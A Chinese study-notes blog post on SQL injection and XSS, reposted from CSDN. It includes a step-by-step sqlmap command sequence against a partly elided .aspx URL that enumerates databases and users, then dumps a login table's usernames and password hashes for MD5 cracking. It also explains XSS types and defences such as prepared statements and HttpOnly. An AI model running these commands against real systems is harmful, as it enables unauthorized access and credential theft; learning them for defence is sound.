网络安全学习----1.常见攻击

sql注入

一.SQLMAP基础用法
SQLMAP的基础用法和前面基础文章类似,都是通过漏洞和SQL语句获取相关信息,具体用法如下:

1.获取所有数据库
参数:–dbs
命令:

python sqlmap.py -u “http://…/tztgxx.aspx?code=115” --dbs

2.获取当前数据库
参数:–current-db
命令:
python sqlmap.py -u “http://…/tztgxx.aspx?code=115” --current-db

3.获取数据库所有用户
参数:–users
命令:
python sqlmap.py -u “http://…/tztgxx.aspx?code=115” --users

输出结果:两个用户
(1)BUILTIN\Adminstrators
(2)sa

4.获取数据库当前用户
参数:–current-user
命令:
python sqlmap.py -u “http://…/tztgxx.aspx?code=115” --current-user

5.获取数据库所有用户和密码
参数:–passwords
命令:
python sqlmap.py -u “http://…/tztgxx.aspx?code=115” --passwords

6.获取数据库所有表
参数:-D ahykd_new --tables
命令:
python sqlmap.py -u “http://…/tztgxx.aspx?code=115” -D ahykd_new --tables
运行结果如下图所示,获取数据库ahykd_new的所有表,其中-D表示数据库,–tables表示所有表。

7.获取数据库登录表所有字段
参数:-D ahykd_new -T usr --columns
命令:
python sqlmap.py -u “http://…/tztgxx.aspx?code=115” -D ahykd_new -T usr --columns
运行结果如下图所示,获取数据库ahykd_new的登录表usr所有字段,其中-D表示数据库,-T表示表,–columns表示usr表所有列。

是不是感觉到了SQLMAP的强大,其中用户名usr_name、密码passwd。

8.获取数据库登录表用户名和密码
参数:-D ahykd_new -T usr -C “usr_name,password” --dump
命令:
python sqlmap.py -u “http://…/tztgxx.aspx?code=115” -D ahykd_new -T usr -C “usr_name,password” --dump
获取数据库ahykd_new的登录表usr所有字段,其中-D表示数据库,-T表示表,-C表示输出字段(usr_name、passwd),–dump输出所有值。

如果字段内容太多,可以设置输出个数,如10个用户名和密码。
参数:-D ahykd_new -T usr -C “usr_name,passwd” --start 1 --stop 10 --dump
命令:

python sqlmap.py -u “http://…/tztgxx.aspx?code=115” -D ahykd_new -T usr -C “usr_name,passwd” --start 1 --stop 10 --dump
输出结果为空,报警告“the SQL query provided does not return any output”。

正常的输出结果例如下图所示,再通过md5解密即可。

怎么样防范服务器的安全呢?

  • 第一种方法是拦截带有SQL语法的参数的传入。参数会改变SQL的结构,当我们知道这个参数是整型的时候,就把这个参数转型为整型,整型肯定不包括这个SQL结构,无法改变结构,哪就不存在SQL注入。

    第二种方法是通过预编译处理拼接参数的SQL语句。有的时候我们无法预测它传什么参数,比如我们去论坛回复一个帖子,肯定没有办法控制,这个时候我们可以用PDO预处理,这是最常见的方法,也是一个最好的方法。但有时我们会写一些复杂社会语句,会用第一种方法,我们先定义好这个SQL语句结构,再把参数放进去,这个时候是无法达到更改SQL语句处理的目的。

    第三个方法是定期分析数据库执行日志,判断是否有异常SQL执行。当业务比较大的时候,日志是非常多的,可以找一些SQL的取模软件进行取模,取模之后并不太多,如果直接看的话是海量日志,是没法看的。

xss跨站

跨网站脚本(Cross-site scripting,通常简称为XSS或跨站脚本或跨站脚本攻击)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。

XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、VBScript、ActiveX、 Flash或者甚至是普通的HTML。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

产生漏洞的原因:

  1. 参数输入未经过安全过滤
  2. 恶意脚本被输入到网页
  3. 用户的浏览器执行恶意脚本
    XSS分为三种类型——反射型、存储型以及DOM型。

反射型
下图是专门训练一些WEB漏洞的练习页面,我们可以输入自己的名字,输入之后会把我们的名字显示出来。例如我们输入了一个“张三”,这个时候弹出来了一个“123”,在那边显示了一个张三,但是script标签没有出来,因为这个标签被执行了。
在这里插入图片描述
存储型
在存储型XSS中,可以看到这个URL上面并没有代码,但是依然弹出了一个“1”。它是发现个人资料页的时候有一个XSS漏洞,在个性签名的位置填入了一个XSS标签,弹出了一个“1”,把这个地址发给别人,别人看到这个地址并没有什么代码以为这个页面是安全的,结果一打开就插入了这个XSS代码。

存储型XSS的攻击危害比较大,因为它的页面当中是看不到这个Script的代码,别人防不胜防。只要管理员没有发现,下一个用户或者下一个用户一直接发它,而反射型需要用户主动点击的。
在这里插入图片描述
DOM型
Dom型的XSS是一些有安全意识的开发者弄出来的。比如说接受参数会做一些过滤,把一些字符转义一下,但是转义之后依然会存在着XSS的情况,比如说下图中,我们上面输入的可以看到这行代码规律,把这个大括号、小括号以及双页号进行转移,按理说转移之后它应该不会再作为它的标签存在,不会存在XSS的代码。

下面Script通过ID获得的这个值,复制到了这个DIV上,经过DOM操作之后,之前转义的字符就变为它的标签,所以经过DOM操作的XSS我们称之为DOMXSS。它有可能通过URL传播,也有可能通过服务器的传播。
在这里插入图片描述

编码的防范措施

第一是标签黑白名单过滤。有时根本就不需要考虑到它是不是HTML标签,我们根本用不到HTML标签。

第二是代码实体转义。只保留文字部分这是一劳永逸的,有时我们还是需要展示这个标签,比如说程序论坛当中要贴一个代码,这个时候我们需要用一些转义,它会把这个大括号、小括号以及双引号做一个转义,做为一个字符,就无法执行这个标签型,后面加一个参数,但有时候单引号也会造成XSS。

第三是httponly防止cookie被盗取。一个信号当中有那么多的地方存在着这个输入以及检测的地方,可能就有一些地方漏掉,只要有一个地方漏掉了,用户的cookie信息就被盗取了。服务器在发送用户信息的时候,我们需要加上一个httponly,这个代码无法读取到cookie的信息,那么攻击者也是得不到这个信息的。对于用户来说也是非常好的保护。比如说张三在我们网站上登陆了一下用户名,李四他特意发了一个攻击请求,他拿不到这个用户ID,就冒充不了这个张三。
==如果在Cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到Cookie信息,==这样能有效的防止XSS攻击
学习的原文链接:https://blog.csdn.net/Eastmount/article/details/97784774

发布了32 篇原创文章 · 获赞 28 · 访问量 4020

猜你喜欢

转载自blog.csdn.net/wxnshuai/article/details/104313274